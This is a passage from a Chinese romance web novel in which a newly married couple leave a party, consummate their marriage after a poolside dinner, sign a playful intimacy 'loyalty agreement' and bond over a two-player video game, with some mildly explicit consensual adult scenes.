刚回到双子大厦,在茶室坐下还没三十秒的孟翰泽:“……” 他点开照片,两个女生被灌木挡住,只露出头部,能辨认出来是梁奚禾与夏初,她们对面站着的男人可见全身,松松垮垮地披着一件浴袍,露出了小半个胸膛。 高阔正准备兴致勃勃地给他出主意,就见他突然变了脸色,随即起身大步流星地往外走。 “你干嘛去啊?” “去接她。” 高阔:? 这语气,这架势,她怎么看都不像是去接人,倒像是去……捉。奸吧。 梁奚禾和夏初没打算下水,兴致缺缺地应酬了倪睿两句就将人赶走了。 这个角落僻静,两人挨着坐在秋千上,低声聊着天。刚刚夏初来得晚,光顾着吃饭没怎么聊,这会儿梁奚禾详细地吐槽了自己被拒绝xN次的经历。 夏初目瞪口呆,孟总竟然也跟从前的她似的,这么纯爱? 她默然了一会儿,不能点评人家,只好说:“我还以为你这么久不找我出来玩,是被你家男菩萨勾住了。” 她跟虞高旻经过了一段时间的磨合,最近不仅性。生活和谐,在日常相处中也逐渐合拍,还以为梁奚禾安安静静的,也是如此。 孟翰泽行色匆匆杀到灌木边的时候,就见他老婆嘴角一撇,语气疏冷地说:“清心寡欲,古板无趣,他确实像出家人。” 直觉她是说他。 他脚步一顿的功夫,已经有好几个人认出他这孟大总裁,围过来寒暄,闹了不小的动静,惊动了灌木丛后闲聊的两人。 梁奚禾站起身,就对上了他翻涌着无数情绪的眼眸。 第37章 法拉利和迈巴赫一前一后回到双子大厦。 梁奚禾车速快,等孟翰泽停好车,她已经拎着包走向东楼。 “禾苗。” 他快步追上来。 梁奚禾顿住脚步:“你有事待会儿再说,我吹了风,要马上回家冲个热水澡。” 不是托词。 在郊外别墅时,孟大总裁的突然出现已经让很多人惊喜,后来发现梁家大小姐竟然也来了,全场几乎沸腾。 林城东尤其激动,这对新婚夫妻第一次当众合体出现在社交圈内,是自己的派对!真是长脸! 小两口毫无疑问成了今晚的焦点。 前来敬酒混个脸熟的人不在少数,矜持一点的还知道披件浴袍,豪放的直接一身清凉装扮,端着酒杯就来了。 梁奚禾始终是淡淡的神色,不管对谁都是颔首致意,不多话不喝酒,倪睿识相地给她端来了一杯温水。 夫妻俩被围在一群赤膊和比基尼中,下来找孟翰泽的樊瑞瞅着他越来越黑的脸色,非常讲义气地出来替两人解围,连带夏初一起请到了露台上。 高脚杯装温水,梁奚禾后背倚在栏杆上,半仰起头喝了一口水,问樊瑞:“叫我们上来有事吗?” 樊瑞一噎,他哪有什么事,是看这地方清静,才带他们上来躲躲。 梁奚禾没啥好躲的,嫌这里吵闹直接走人就是了,反正这下倪睿也找不出夏初的不是了。 她把杯子放到茶几上:“既然没事,我们先走了。”看看孟翰泽,“你们聊。” 眼前的孟总和樊总不同于自己平时的交际圈,夏初就安静地待在一旁没说话,一切听梁奚禾安排,听她这么一说,当即也将手里没打开的两个布丁也放到了茶几上。 孟翰泽的眼神始终冷沉。 樊瑞的视线在两个人身上逡巡,突然意识到自己刚刚本是开玩笑的消息多少有点挑拨离间的嫌疑,心里顿时慌乱两秒,可别真的让小两口闹别扭了。 他马上笑笑:“今天这派对鱼龙混杂,质素不高,我看嫂子对这种场合也不是很感冒,不然这样,这个月司峻的酒店开业,请的都是自己人,到时候嫂子赏光,我们再好好聚聚。” 怕她不知道司峻是谁,他又十分贴心地介绍,“司峻也是孟翰泽的发小,还有个康弘信,我们四个,铁哥们儿。” 露台风大,也就沙发那里避风,梁奚禾在栏杆边吹着觉得有点冷,更加不欲多聊。 她看看孟翰泽,没听他提起过什么哥们儿不哥们儿的,更没听说过什么酒店的开业酒会。但这会儿别人开口邀请了,他也没拦在前面拒绝,她吃不准他什么想法。 梁奚禾想想,纵使两个人之间尴尴尬尬的,明面上该营业还是得营业的。既然是他朋友的活动,她不好当面一口回绝。 于是,她微笑道:“好啊,如果到时候时间凑得到一起,一定参加。” 没把话说满,给自己留了余地。 随后,她就跟夏初告辞了。 下了楼,没想到孟翰泽也跟着下来。 夏初知道两人最近发生了不少事,是外人不能多加置喙的私房事,担忧地看了梁奚禾一眼后,也只能独自驱车离开。 倪睿借着梁倪两家的交情,敢说一句把梁奚禾当作妹妹看待,敢跟她插科打诨调侃几句,对上孟翰泽却不敢叫人“妹夫”,更不敢造次,只老老实实地去换回了西装,出来后见他们要走也不敢留。 毕竟这场所看起来有些风月无边的意思,与端方持重之名远播的孟大总裁格格不入,他深表理解。 将两人送到地库,他衣饰齐整,规规矩矩地与孟翰泽握手道别:“孟总,下次我做东,请二位一叙。” 因着借了倪大均怀表之事,孟翰泽对面前的人脸色倒也和缓:“倪总客气,请留步。” 他们这边才说两句话,那边梁奚禾已经方向盘一打,开着法拉利走了。 孟翰泽急忙跟上,只是他开车向来平稳,不像她那么风风火火,十分艰难地跟上法拉利的车尾灯。 回到了双子大厦,还没跟她说上两句话,她说要去冲个热水澡,他又能说什么? 有什么事能比她会着凉还重要? 孟翰泽只好放人:“好,冲过澡多喝点热水,然后陪我吃晚饭?” 梁奚禾惊讶地看他一眼,都几点了,他还没有吃晚饭? 轻轻“嗯”了一声,她上楼。 孟翰泽回到87楼时,高阔还在茶室等他,手机里刷着游戏的通关攻略,看他一个人回来,点了暂停,往他身后张望了下:“Thea呢?” “先回东楼了。” 高阔瞅瞅他不怎么好的脸色:“又受挫啦?” 孟翰泽没回答,转而吩咐道:“去把泳池的暖气开了,让厨房做几个清淡的菜色,三刻钟后送到88楼。” 孟老爷子一生节俭,他身边的人几乎都秉承了这样的作风。刚他没吃就走了,高阔不知道他什么时候回来,便让厨房把菜端了下去,放在蒸箱里温着了。 这会儿听他说重做,还要送到88楼,高阔心领神会:“跟Thea一起吃?” “嗯。” 高阔蹙眉:“Thea怎么没吃晚饭,不是说胃不好吗?”不赞同地看他一眼,“你别光嘴上说要追人家,行动上也要落实啊,该关心关心,该督促督促。挂在嘴上的情情爱爱都是假的,朝夕相处的点点滴滴才是真的。” 别看她单身狗一枚,对两性关系的理解还是很透彻的。 孟翰泽一顿。 高阔叹了一口气,给下面的人发指令,安排泳池的暖气和厨房的开火。 安排妥当,她说回今晚本来要跟他说的话:“最近我跟梅姐在玩的游戏还挺有意思的,一对快要离婚的夫妻突然变成了木偶小人,为了回到自己的身体里,必须通过层层冒险。BOSS有家里的吸尘器、院子里的马蜂窝之类……” 她和梅姐尚未通关,正在兴头上,说起来就难免口若悬河,但感觉孟翰泽没什么耐心听她细讲,高阔及时刹住车:“Thea也很想玩,可惜我们俩玩第二遍的话会影响她的游戏体验,所以你陪她吧,明天我就去给你买游戏本。” 通过这种双人游戏,她觉得两人肯定能培养默契,增近感情。 孟翰泽对游戏没什么兴趣,听到梁奚禾想玩,才松口答应,随后回家也去洗漱。 梁奚禾收拾停当,就被梅姐神神秘秘地推出了家门:“去吧,去88楼看看夜景。” 临关家门前,还给她喷了两下香水。 梁奚禾:“……” 不用猜都知道88楼有哪个人。 可恶,阔姐来当红娘也就算了,怎么梅姐也参与进去了。 她倒想听听他想说什么,慢悠悠地晃去电梯间。 最近两位姐姐管家游戏里配合默契,工作中也成了黄金搭档,也就三刻钟,88楼暖气充足,泳池水本来就是常年恒温的,倒不必费心,她俩重点是将泳池边好好布置了一番。 花草树木上挂了露营灯,星星点点的,氛围感拉足。梁奚禾一到楼上,心里就“哇塞”了一下。 长桌上铺上了白色桌布,上面绣有暗花,灯光下某个侧面会有莹亮的光泽。桌上错落有致地摆着几束品种各异的玫瑰花,还有些花瓣散落在桌布上。 除了摆放整齐的餐具酒具,还有醒好的红酒。 梁奚禾一边踱步打量,一边暗自发笑。 这一看就是两位姐姐手笔,孟翰泽那样木讷,玩不出这种浪漫。想到这,她撇撇嘴角,说不定待会儿他还要发表一番“真爱至上”的见解,让这种浪漫的氛围毁于一旦。 梁奚禾手里把玩着花束,听到动静回过身去。 然后愣在原地。 无论是言行还是穿着,孟翰泽从来都是严于律己的,即使她借住西楼的那段时间,也从未见他有过衣衫不整的时候。 然而,此刻,他披着深蓝色的浴袍,眼神比身上的浴袍更深邃地看了她一眼,径自走到长桌边到了一杯红酒后,徐徐走向她。 梁奚禾不自觉地扯下了一片花瓣,迎着他汹涌的眼神,莫名有点紧张。 说他不怒自威?——不是,但绝对的气势凛然。 就好像你以为遇到了一只乖顺的猫,好脾气地趴在那里任你摸头撸毛,谁知你随手扯了扯它的耳朵,下一刻它竟然弓起身子,微眯着眼睛朝你踱过来。 你才发现,那竟然是一只豹子。 来势汹汹的豹子走到跟前,喝了一口酒,开口问她:“八块腹肌的男宠?” “啊?” 梁奚禾一时间没有反应过来。 他却不再重复,锁视着她的眼睛,片刻后单手抚上腰带,慢条斯理地解开。 顶棚闭合后,听不见高楼外呼啸的晚风,没有人来打扰,四周安静得梁奚禾只能听到自己吸气的声音。 浴袍落地,她又听到自己吞咽了一口。 “他们有的,我没有?” 她无暇顾及他不复沉稳的声线,更没空去观察他的神色,视线都被他的八块腹肌和人鱼线吸引。 目光略略往下,还有一片鼓鼓囊囊。 梁奚禾:! 被扯下来的那片花瓣,在她的指尖被捏得变形,沁出香气。 强烈的视觉冲击下,梁奚禾只残存了一丝理智,她艰难地别开眼,却没舍得好风景离开余光——只是想让自己看起来不会为色所动,假装还握着主动权罢了。 她抱起胳膊,手指捻着花瓣,故作淡定地说:“你有又怎么样?看得见摸不着,还不如没有。” 还傲娇地轻哼了一声。 下一秒,她居上的手被人握住,梁奚禾一抬眸,就看到自己的手被放在了他的腹部。 他修长好看的手,覆在她的手上,赏心悦目的同时,手下的触感坚实却并不冷硬,触及温热,她的手指下意识地张开,前不久刚换成裸色甲片的指尖被花瓣的汁水染红,让画面更为旖旎。 梁奚禾听到自己心脏跳动,咚咚咚,快得像是要从胸膛中跳脱出来。 她试图抽回手,嘴上仍旧不饶人:“摸着了又怎样?” 手却被他更为用力地握住。 “禾苗。” “从今天开始,男宠也好,面首也罢。” “无论你把我当成什么,我都可以。” 第38章 劳模孟大总裁破天荒地迟到了。 次日一早,原秘书如常第一个到办公室,帮孟总整理好桌面,清洗了杯子,用开水泡过,冲好咖啡放到桌上——他抬起手腕看时间,按说孟总这个点应该到了。 但是,等总裁办的人陆陆续续到齐,孟总也还没出现。 原秘不由担心起来,想了想给简腾去了个电话打听情况。 简腾倒是接了,他正坐在迈巴赫里等BOSS下楼。 “我们还没出发。” “没什么事,早上孟总说要晚点出门。” 不只晚出门,还指明要开迈巴赫。这还是简腾第一次开迈巴赫,以往孟老爷子的旧车,孟总从不让人代驾的。 简腾心下疑惑,也不跟原秘书多八卦。 刚说两句,简腾瞥见东楼那边出现两道人影,不是孟总是谁? “不说了,孟总下来了。”他匆匆挂断。 没出什么事就好,原秘书放下心,起身去将冷掉的咖啡倒到自己杯子里,重新清洗了水杯,等待会儿估摸着时间重新冲一杯。 简腾坐在驾驶室里等着,孟总说过除非车上载着客人,否则不需要他做开车门这些事。孟太太不算客人,他就没动,只目迎两位。 今天夫妻二人步速非同寻常地慢,几乎是从东楼电梯间踱过来。 孟太太抱着胳膊,垂着眼目不斜视地看着地面往前走,孟总拎着她的包走在她身侧,远远地听不见两人说话声音,但从姿态看,孟总分明是赔着小心。 简腾心里暗乐,相处这么些年,之前他哪里能想到孟总竟然会惧内呢? 忽然,孟太太抬眼看过来,简腾不期然与她对上视线,偷窥被发现,他慌忙赧然地低头假装去调空调温度。 “真的不疼了吗?” “要不要去买点药膏?” 身边的人还在絮叨,梁奚禾看了眼简腾,忽然抬手在孟翰泽的腰间掐了一记,瞪他一眼:“你不要再说了!” 她是恼羞成怒。 第一次,那里固然是不适的,可哪有人出了房门还问东问西的。 孟翰泽看看车子,抿唇不再言语。 到了车前,他快走两步将后排车门拉开,伺候着梁奚禾坐进车内,他再绕到另一侧上车。 简腾已经下来等了好一会儿,车内暖气十足,迈巴赫刚驶入市政道路,梁奚禾就抬手掩唇,懒懒地打了个哈欠。 孟翰泽随时留意着她,见状挪坐到中间:“再睡会儿吧。” 幻影的后排是独立的航空座椅,他特地交代简腾今天换车,为的就是此刻。 梁奚禾抬眸看他,因为刚刚打过哈欠,葡萄眼中尽是水汽,与昨晚后来跟他嘤嘤求饶时一模一样。 想起昨晚那场景,孟翰泽不自觉地喉结滚了滚。 别看这小姑娘常常蹦出些如狼似虎的词句,实则是只彻头彻尾的纸老虎,在这种事情上,青涩有余,经验不足,却偏偏是个嘴上不饶人的嚣张性子。 明明在他指下惶恐不已,还时不时挑剔他,“引导”他,跟他讲小说里是这样这样的,电影里是那样那样的。 男人于此事向来无师自通,哪里用得着她教? 最初他的“心慈手软”无非是怕吓到她,也怕两人没有经验伤到她,后来见她这副故作老成的样子,他才按耐不住放开了告诉她。 他的手,可不是只是好看。 经过了昨晚,两人之间已经犯不着虚客气什么。梁奚禾困顿不已,见他坐过来,她便将头发拨到一侧,倚入他的颈窝,开始补觉。 如果不是梁茂林今天要到羲和特材视察,她是打算直接请假的。 昨晚跟他闹到了后半夜,满打满算她才睡了三四个小时,这会儿身上各处酸的酸,疼的疼,胀的胀,还被拉起来去上班,实在是过于残忍了。 她乖顺地靠在他的怀中睡了一路,孟翰泽时不时心疼地亲亲她的发顶。 以后绝不胡闹了。 开始手上欺负她,多少有点证明自己的意思,但后来,他被她包裹,体会到了温热与紧致之后,确实没有克制住。 一次之后,还要一次。 就连胳膊、后背被挠出抓痕,他也乐此不疲,所谓痛并快乐着。 也不知道她快不快乐。 孟翰泽低头看向怀里的人,昨晚挂着泪珠的长长的睫毛,此刻清清爽爽地卷翘着,他又忍不住亲了亲她。 抵达孟氏大楼地库,孟翰泽十分温柔地唤她:“禾苗,醒醒,我们到了。” 梁奚禾过了一会儿才醒,手掌撑在他的大腿上直起身,迷迷糊糊地环顾车窗外,才想起来自己置身于何地。 她抽了张纸巾摁了摁眼角,孟翰泽下了车来接她,等她下车站稳,他伸手牵她,十指相扣地走去电梯间。 简腾虽然未婚,但不是不懂人事,这种情形,脑海里只有两句诗,芙蓉帐暖度春宵……从此君王不早朝啊。 到了总裁专梯内,孟翰泽没放开牵着的手,另一只手拎着她的包绕到她身后,将人箍进怀里。 他柔声道:“梁董下午才来,待会儿先去休息室睡一会儿。” 梁奚禾:“……” 抬头,下巴搁在他胸口,“恶狠狠”地瞪他一眼,“你怎么不早说,我直接吃过饭再来不就行了?” 孟翰泽嘴角满是宠溺的笑意,低声哄着:“上一天班和上半天班,性质不同。” “老古板,你不说,梁董又怎么会知道?” 她光顾着怨念,一时不察被他低头吻住。 不再是被动地接受她的亲近,他主动的时候攻势猛烈,梁奚禾昨晚已经在唇舌之间体会过他的强势和占有欲,带着将她吃拆入腹的威势。 只是这会儿到底是在公司,公共场合,他收敛着,只是温和细雨地吻她,探入她口中时十分克制,没有多纠缠就放开。 电梯门将将好打开。 梁奚禾倒有些意犹未尽。 孟翰泽眉梢眼角都是笑意,将她乱了的一缕发丝整理好,牵着她走去办公室。 原秘书几个等着汇报工作,孟总第一次迟到,收到简腾消息,他们几乎是第一时间迎出来。 梁奚禾见这架势,根本没好意思堂而皇之地跟他去办公室,再进他的休息室补觉,她接过包,松开手,自行去品宣部。 迟到是对于过去闻鸡起舞的孟总自己而言的,梁奚禾跟同事们打过招呼坐到工位上时,才刚刚到打卡的时间,她充其量算是踩点到。 但谁说上班必须得早到迟走的?梁奚禾坚决拥护员工们准点上下班的权益。 部门经理刘毅见人到齐,清了清嗓子说:“大家手头的事情放一放,我们到会议室开个短会,部务会。” 梁奚禾从行政办给她准备的桌面书架中抽出一本橙色封皮的笔记本,又从笔筒中随意拣了一支笔,就跟在大部队后面去了会议室。 除了刘毅,其他同事都十分默契地坐到了末座,将中心的位置留给了她。 梁奚禾见状,笑道:“看来下次我得走快点,这比大学里最后一排的位置还难抢。” 说得同事们笑起来。 她也没有就位置再推辞,坐下后打开笔记本看向刘毅准备记录,一副乖乖听讲的好学生模样。 一个小时后,部务会散会,梁奚禾回到办公室不久,早上在前台见过的孟翰泽的秘书过来了。 原秘书:“梁老师,关于公司成立技术研发中心的宣传稿框架,孟总想跟您讨论一下,请跟我来。” 梁奚禾:? 什么技术研发中心,什么宣传稿框架,她是丈二和尚摸不着头脑,但部务会上刘经理说得很清楚,她以后负责的宣传稿,直接跟孟总汇报工作,刘毅只起到校对笔误的作用。 梁奚禾便随着原秘书去了孟翰泽的办公室,进门后,孟大总裁就等在门边,递过来一杯温水:“会议室只有常温瓶装水,以后开会带个保温杯进去。” 她开会的时候,他处理完工作亲自去品宣部找过人,见她的杯子还放在工位上才有此一说。 梁奚禾捧着杯子喝了两口水,问他:“我要写什么宣传稿?” “不急。”孟翰泽将杯子接过,“先去睡会儿。” 经过一个正儿八经的会议,梁奚禾的起床气已经去了大半,狐疑地看他一眼后玩笑道:“孟总假公济私啊?把女下属喊到办公室,睡会儿?” 葡萄眼里满是坏笑,孟翰泽没忍住抬手屈指刮了一记她的鼻子。 “你们部门经理刚升上来不久,过去是梁氏分公司市场部的副经理。” 答非所问,但梁奚禾听懂了,他是回答自己,为什么早上挖她起来上班,又为什么找工作的借口把她喊来办公室。 “间谍到处有,我身边特别多啊。” 梁奚禾挑眉长叹一声,走去休息室里躺平摆烂。 孟翰泽十足的大忙人,并没有她这么悠闲,安置好了人,他马不停蹄地开会去了,羲和特材这边有个短会,完了还得上楼去处理孟氏的日常工作。 临走前,交代了总裁办的人,没事不要进办公室,打扰正在闭关写稿的梁老师。 休息间内的梁老师换了他准备好的睡衣,舒舒服服地躺在床上,却没有睡着。 这里床单被褥跟他家一样,都是简约的深灰色,还是一样的触感,仔细闻闻,似乎还有他的气息——让她怎么睡得着? 五识和记忆分分钟回到昨晚。 她记得,最初自己是牢牢掌握着主动权的。 他终于想通了,愿意当她的男宠面首,她没道理不笑纳。手腕一翻,她将手挣脱出他的手掌,故意一寸一寸,慢悠悠地抚过一块块鼓起、线条分明的肌肉。 葡萄眼牢牢地锁视着他的表情,听着他的呼吸有片刻的凝滞,随后又急促起来,她笑着垂眸。 在意识到人鱼线交汇处越发隆起之后,她将他的浴袍腰带挑起,一圈一圈地绕过他的手腕。 孟翰泽没有拒绝,任她施为。 待草草缠了几圈,她没耐心地便扯着余下的这截腰带,将人牵下了楼。 第39章 孟翰泽顺从地靠坐在床头。 梁奚禾毫不客气地坐到他腿。上,嘴角噙着风。流的笑意,轻。佻地勾起他的下巴,然后从他温和的眉眼开始,一寸一寸,往下细细打量。 “你的眉毛长得真好,都没什么杂毛。” “……嗯。” “睫毛竟然这么长,鼻子也好挺。” “……嗯。” “……” 一个像即将享用饕餮大餐的美食家那样,耐心地夸赞卖相,一个心猿意马,潦草地、克制地回应。 终于,她徐徐渐下的目光落到他的嘴唇上,没再说出什么动听的词句来,微微正色后靠近,轻轻地覆了上去。 梁奚禾像蛙似的匍匐着,双手虚撑在孟翰泽的胸膛,细细品味着那日在楼道里浅尝辄止的他的嘴唇。她闭着眼睛,在出于本能地吮吸过后,尝试着如小说描写中所说那般,探出了舌尖。 孟翰泽没再抗拒,更没闪躲,大大方方地启唇迎接她。 交缠之中,她似乎品尝到残存的红酒味道。滴酒未沾的人此时仿佛也被传染了酒意,有些微醺。 但梁奚禾觉得不够。 她后退了一些,离开了他,两人睁开眼睛,对上了视线。 梁奚禾蹙眉:“小说里都说接吻会有令人窒息的感觉,为什么我没有?” 孟翰泽:“……” 这是对他不满意了? 他双手被缚住,只能虚虚地环着她。闻言,他也不辩解,凭着腹部力量抬起上身,主动吻住了她。 这回,不再是温柔地接纳与迎合,而是攻势极其猛烈地搅。弄风云…… 等梁奚禾感受到什么是“令人窒息的男人”,手上不由自主地使劲推拒时,他的双手不知道什么时候已经挣脱出来。 她觉察到腰间一紧,人被往前带了一些,触碰到了陌生的、不可名状的事物。 知道那是什么,她耳尖、脸颊蓦然一热。 狭路相逢勇者胜,即使心里不可避免地生出一丝忐忑,她也并未后撤,双手绕着他的脖颈儿,与他更加贴近。 而他那双她觊觎许久的好看的手,也终于滑了下去,探入了睡裙的下摆…… …… 梁奚禾翻了个身,把头埋进枕头里。 天呐,怎么能这样,她明明是进来补觉的,怎么能自动回放少儿不宜的画面?! 她抓了一把被子,对自己颇有些恨铁不成钢。 也不是多么美好的体验好不好? 一个温吞的老古板,都不知道什么叫长痛不如短痛,只知道一边絮絮叨叨地问她疼不疼,一边磨磨叽叽地向前。 她怎么可能不疼? 理直气壮地喊了句疼,谁知他竟然在这种紧要关头突然就停了下来,梁奚禾顿时又急又气,一口咬在了他的颈侧。 “你没看过电影吗?” 她忍受着不适,气鼓鼓地挠他。 他好脾气地不答,握住她的后颈,低下头来寻她的唇,再也没给她开口的机会,也不再犹豫。 第一次的时候,梁奚禾完全没想到这事儿是这种感觉——想把人踹走,度秒如年,哪来的妙不可言了? 累倒是挺累的,等他消停了,她被抱入他的怀中,她恹恹地蜷着,连他身上的潮意都来不及细究。 老古板又来确认她疼不疼。 梁奚禾:“疼倒还好……” 话锋一转,平静中带着点委屈地说道,“就是一点都不好玩。” 孟翰泽轻抚她后背的手一顿,他的声音尽量放缓,带着哑意。 “我好好学艺。”他说。 梁奚禾突然想起来夏初的话,男人的第一次也不容易,自己也不能太挑剔,打击了人家的自信心,以后享不到福的还是自己。 可要违心地说点什么捧场的话,她说不出来,只能轻轻地“嗯”一声,蹭了蹭他的颈窝,在他怀里寻了个舒适的位置。 听着他的呼吸和心跳逐渐平复,房间里氤氲着一半暧昧一半温馨的氛围。 梁奚禾:“我想去清理一下。” “好。” 孟翰泽单手抱着她,腾出一只手去够搭在床尾的他的浴袍,将她裹好,抱起去了浴室。 出来后,梁奚禾窝在窗边那把乌德勒支椅上,看着他更换床单被套。 她抱着膝盖,唇角含笑,这回不太吝啬地夸他:“我家孟总真贤惠。” “我家”二字,让孟翰泽眼角都翘了起来,他抬眸往她那边看了一眼,问道:“想睡左边,还是右边?” “你侍寝完毕,还要留宿啊?”梁奚禾眨了眨眼睛,十分真诚地问道。 除非是害怕,不然她还是习惯一个人睡,所以确实没打算留他。 孟翰泽:“……” 眼角的笑意凝固,他暗自做了个深呼吸平复情绪,才缓声说道:“困不困?不困的话,之前没签的忠诚协议,我们签一下吧。” “啊?” 梁奚禾感到意外,不过想想他这样一板一眼的人,可能有凡事落在白纸黑字的习惯,她不理解但还是尊重,“那你去拿来吧。” 刚刚运动完毕,没啥力气,她迁移到床上就不想去书房。 孟翰泽快去快回,这份忠诚协议已经不是当日法务帮忙起草的那份,他刚刚在那份的基础上改了几个条款,不过当着梁奚禾的面,他面不改色地说道:“都是常用模版。” 客气了一下,“你先看看。” 梁奚禾正处在贤者时间,又还不太想睡,果真按他说的,看了起来。 孟翰泽:“……” 前面都是围绕“忠诚”一词的约定,双方的权利义务都一致,梁奚禾也没想出轨,就一目十行地扫了过去。到了后面…… “甲方召见乙方侍寝的频次,一个自然月不得低于15次?” 她惊讶地抬眸,“甲方是我?” 他非常之真诚:“当然。” 梁奚禾乐呵呵地笑起来,“召见”,老古板这词用得非常灵性啊,看来他对自己男宠、面首的定位十分清晰啊。 她感到满意,继续念:“乙方侍寝时,当晚的次数应当依据双方是否尽兴而定,不得作固定规定。若有一方尚未尽兴,另一方不得无故推拒。” 梁奚禾没有意识到食髓知味的男人有多危险,还在天真地点头附和。 “说得对,以前你就老是推三阻四的,以后不允许了,就算是有应酬、加班什么的客观原因,也不准。” “好。”孟翰泽相当爽快。 她继续:“侍寝完毕,秉着人道主义精神,甲方不得将乙方赶出房门,乙方拥有合法合情合理的居留权。” 梁奚禾一顿,“你要留宿?” 两人此刻在西楼,以后但凡在双子大厦侍寝,肯定也是她过来西楼临幸他,客观来说留宿的人是她。但梁奚禾显然将这间西楼的主卧视作自己的地盘了。 孟翰泽不闪不避,大大方方地说道:“对。” 俯身下来,揉了揉她的脑袋,“禾苗,温存以后,没人想回去冷被窝的。” 他的声音极具蛊惑性,过后又来一句,“你并不是天天能让我陪你,能不能让我有个完整的晚上?你知道的,我不打呼,睡相也好,不会影响你睡眠。万一你做噩梦,我随时都在……” 这语气,又有理有据的,梁奚禾说不出拒绝的话,心一软:“好,笔呢?我签。” 等熄了灯,梁奚禾仍是没什么睡意。 孟翰泽如他自己所说,睡相极好,规规矩矩地躺在她的右边,连翻身都没有。她翻来覆去的,不留意都听不到他的呼吸声。 她又翻了个身:“孟翰泽,你睡了吗?” 他像个随时等待呼唤的小孟同学:“没有。” 因为她主动开口,他才敢说话似的,“怎么了?睡不着?不舒服吗?” 梁奚禾反应了下才知道他的问的哪里不舒服,笑着滚到他身边。 “没有不舒服,只是觉得很不真实。” “什么?” “就是你这样的人,会同意当我的炮。友这件事。” 孟翰泽忍了忍,含糊地“嗯”了一声。 梁奚禾不客气地钻进他的怀里,趴在他的胸口问:“你怎么突然回心转意的?” 孟翰泽不想说太多心路历程,因为“八块腹肌的男宠”迸发的醋意,以及被她和陌生浴袍男同框激发出来的危机感,无不显示着他的小心眼和占有欲。 他不想说。 开车去郊区的一路上,他说服自己,爱情并不是凭空冒出来的,如果他都没有机会留在她的身边,因为固执己见而将她越推越远,那么恐怕终其一生都没办法得偿所愿。 与其那样执著地失去,不如抛弃那不值钱的原则,换一个她愿意靠近的契机。 岁月漫长,也许他会有幸近水楼台先得月呢。 他也没说这些,只顺着她的话玩笑道:“我这是弃暗投明。” 梁奚禾噗嗤一声被逗笑了,墙角的小夜灯亮着,借着这点爝火之光,她捏了捏他的耳垂。 “孟总,我发现你也挺幽默的嘛,刚刚还说要去学艺哈哈。” 忽然她的笑声一凝,变了脸色,“学艺?你要去哪里学艺?你签了字的。” 男人不坏,女人不艾,她是绝对不允许他有什么越轨行动的。 孟翰泽单手将人捞起,放到自己身上,以轻啄着她的唇角作答。 “勤能补拙。” 含住她耳垂时,他压低了声音。 梁奚禾意识到他想做什么时,已经晚了。 她刚想拒绝,孟翰泽率先开口:“一方不尽兴,另一方不得推拒,禾苗,你答应了的。” 梁奚禾:“……” 她突然意识到哪里有些不对劲,可是神智很快被他带入另一重感受中去。 是欢喜,是难耐,还有不可言表的战栗。 …… 梁奚禾拉过被子蒙住脑袋,想到昨晚最后嘤嘤哭泣的自己,身下犹如经期突如其来,一阵汩汩。 她知道那是什么,不禁咬起了下唇。 可恶,想想而已,这么敏感做什么? 等等,经期? 梁奚禾一把扯下被子,终于理清了昨晚觉得不对劲的地方。 一个自然月扣除她的经期,也就剩了三周,21天里他要至少侍寝15天? 做二休一? 还至少? 第40章 凭良心讲,梁奚禾觉得圆房之后,她的婚后生活简直渐入佳境。难怪古人有阴阳调和之说,就连她从前时不时往外冒的痘痘都少了许多。 如果非要举例,首先要说的自然是她跟父母的关系改善了许多。自从她到羲和特材上班,梁董和奚总就不再对她耳提面命,就算关心她的工作表现也会直接找孟翰泽询问——就好像他们把她的监护权移交给了孟翰泽似的。 距离产生美,加上她情绪稳定、心情愉快,时不时跟二老撒撒娇、微信上嘴甜美言几句,关系想不好都难。 而她每天之所以如此开心,就不得不说到她现在的工作。原先入职的时候,她跟孟翰泽说好自己是玩票性质,打发时间、体验生活,顺带堵住父母的口去的,他不能指望她砥砺前行、奋勇拼搏的。 丑话既然说在了前面,她就没客气了,事实上也是这么做的。虽然孟翰泽体恤她“夜不能寐”,总是以写稿的名义将人留在他的办公室,但实际上羲和特材最近每周一篇的宣发文章,根本不是出自她的手,而是孟大总裁亲自操刀。 孟总笔杆子硬,写出来的文章不仅专业度高,还融合了不少传播营销的技巧,使得梁董每次夸她时都欲言又止、小心试探。这些梁奚禾不带怵的,文章发出来的时候她会准点拜读,对内容多少心里有数,不怕父母随即抽考。羲和特材也因此成了她第一个设为星标的。 唯一让人觉得不太好意思的,就是被同事们夸奖的时候。日子相处久了,大家互相之间也了解脾气秉性了,除了会注意不在办公室吐槽公司和大领导,同事们也渐渐放松,偶尔还会和老板娘一起点个奶茶甜点摸摸鱼。 梁奚禾每天下班迎着夕阳回家时,总是想感慨一句:生活如此美好啊。 当然,这其中功不可没的当属孟大总裁。 他除了不遗余力地支持她的工作,还大刀阔斧地挺进了他完全不熟悉的游戏赛道。 要是跟喜欢扎根派对的社交达人比,那梁奚禾绝对算是个宅女。她喜欢玩游戏,单机游戏、网络游戏、手机游戏都玩,特别爱跟风体验网上热推的游戏,她的那台掌机配备了一架子卡带后,512G的内存竟然还不够用。 不过,她都是三分钟热度,适合长时间玩的游戏刷不了多少时长,加上手残操作差,闯关类的游戏大多数都没办法通关,属于人菜瘾大的那一类。 这回,孟总搞了个超级游戏本回家,把手柄递给她,说要陪她一起双人成行时,梁奚禾最初也是抱着“来都来了,那就随便玩两下”的心态坐下来玩的,毕竟她原本物色的搭子梅姐已经被阔姐撬走了。 出乎她意料的是,新手孟大总裁在游戏里的表现,竟然堪比在床上,绝对称得上可圈可点。 她晕头转向的时候,路是他找到的。 她一团迷糊的时候,谜是他解开的。 她手忙脚乱的时候,怪是他杀掉的。 最关键的是,这个队友不仅靠谱,关键时刻情绪价值给得满满的。 她没有耐心、开始烦躁的时候,他会腾出一只手摸摸她的头,沉稳的声线里带着柔情:“慢慢来,我们又没有KPI。”然后还有鼓励大放送,“刚刚那次已经很接近了,休息一会儿继续。” 而像现在这样,一鼓作气闯关成功时,他则会将她搂到怀里,亲吻她的额头。 “我老婆真棒。” 梁奚禾还没有太适应他对自己的称呼,但是完全掩饰不住唇角的弧度。 屏幕上正在过剧情动画,两个主角是濒临离婚的夫妻,此刻正在互怼、埋怨对方。 梁奚禾非常理解女主角想离婚的心情,如果孟翰泽敢这样絮絮叨叨地怪队友,她肯定“慢走不送”了。 可他没有。 不仅现在没有,以后也不会有的样子。 他是如此有耐心,体贴、周到、温柔。 “累了?” 见她沉默着不说话,孟翰泽问道。 梁奚禾回过神,抬头笑笑:“不累,就是有点饿了。” 在这个家里,她的吃喝是第一要事,脆弱的胃排在所有事情前面,是以孟翰泽第一时间暂停了游戏。 